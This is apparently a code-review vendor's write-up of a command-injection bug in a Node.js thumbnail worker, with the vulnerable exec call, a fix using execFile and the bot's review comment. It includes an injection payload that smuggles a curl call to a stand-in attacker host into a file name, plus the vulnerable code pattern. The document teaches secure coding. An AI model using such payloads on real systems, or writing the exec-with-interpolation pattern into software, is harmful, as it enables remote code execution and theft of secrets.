A thumbnail worker. Reads a queue, generates a 200×200 PNG with ImageMagick's `convert`. The PR added retry logic. The bug was the original line that called `convert` in the first place — and Mesrai flagged it on the very first review pass.

The vulnerable diff

tsworkers/thumbnail.ts

// workers/thumbnail.ts — current code (PR added retry around it)
import { exec } from "child_process";

export function generateThumbnail(input: string, output: string, done: (err: any) => void) {
  // BUG: exec spawns /bin/sh -c "...", which interprets metacharacters
  exec(
    `convert ${input} -resize 200x200 ${output}`,
    (err, stdout) => done(err)
  );
}

What is wrong

Node's `child_process.exec` does not spawn the named binary directly. It spawns `/bin/sh -c "..."` and lets the shell parse the command. That shell interprets `;`, `&&`, `||`, `|`, `$( )`, backticks, redirects, globs and more. If any part of the command string comes from untrusted input — a queue message, a request param, a database value an attacker controls — the attacker controls the shell. This is CWE-78, OS Command Injection.

The attack

If `input` originates from a user-uploaded filename, the attacker enqueues a payload like:

textpayload.txt

input = "x.png; curl https://attacker.example/$(id) #"

The worker then runs:

bashexecuted.sh

/bin/sh -c "convert x.png; curl https://attacker.example/$(id) # -resize 200x200 out.png"
# Two commands. convert (silently fails). Then curl with `id` output in the URL.

From there the attacker has remote code execution as the worker user. Common follow-ups: read environment variables (often full of secrets), pivot through the cloud metadata service, drop a reverse shell.

Mesrai's review comment

textreview-comment.txt

mesraipilot · Bot · reviewed 4 min ago

[mesrai] [code-review] [Security] [CWE-78] [critical]

`child_process.exec` runs the command through `/bin/sh -c`, which
parses shell metacharacters. With `input` from an untrusted source
(queue message → uploaded filename), any input containing `;`, `&&`,
`$()`, `` ` ``, pipes, or redirects results in arbitrary command
execution as the worker process.

Use `execFile`, which spawns the binary directly with an argv array —
no shell, no parsing, no injection vector:

  execFile(
    "convert",
    [input, "-resize", "200x200", output],
    (err) => done(err)
  );

Even with `execFile`, validate `input` if it can be a path traversal
(`../`) or a file with leading `-` (which `convert` would interpret
as a flag — use `--` to terminate options if needed).

Reference: Node docs — child_process.exec security
https://nodejs.org/api/child_process.html#child_processexeccommand-options-callback

The fix

tsworkers/thumbnail.ts (fixed)

// workers/thumbnail.ts — fixed
import { execFile } from "child_process";
import path from "path";

export function generateThumbnail(input: string, output: string, done: (err: any) => void) {
  // Validate input is a regular path under a known dir
  const safeInput = path.resolve(input);
  if (!safeInput.startsWith(path.resolve("/var/uploads"))) {
    return done(new Error("invalid input path"));
  }
  // execFile spawns the binary directly — no shell, no metacharacters
  execFile(
    "convert",
    ["--", safeInput, "-resize", "200x200", output],
    (err) => done(err)
  );
}

Two changes. `execFile` bypasses the shell entirely — each element of the argv array is passed verbatim, with no metacharacter interpretation. And the `--` between the command flags and the filename ensures that even an input filename starting with `-` does not get re-interpreted as a `convert` option.

Why human review missed it

The pattern is older than Node itself and senior reviewers have seen it before. The PR was small (the retry logic was the headline change) and the `exec` line had been in the codebase for years without an incident. "Already in main" is not a security argument, but it is a reason eyes slide past code that should be flagged. Mesrai treats every line in scope of the diff as live — including lines the PR did not change but reads through.

Related rules + further reading

Mesrai rule pack: security/no-exec-string — flags `exec` with template-literal or string-concat arguments.

Node docs: Avoid `exec` with untrusted input — prefer `execFile` or `spawn` with arg arrays.

CWE-78 — OS Command Injection. One of the OWASP Top 10 Injection failures.

Takeaway

`child_process.exec` plus interpolated input is RCE waiting to happen. Move every such call to `execFile` or `spawn`. Mesrai catches the pattern automatically with the security rule pack on. The audit is one grep away: `grep -rn 'exec(`' src/`.

Command Injection via child_process.exec: A Mesrai Catch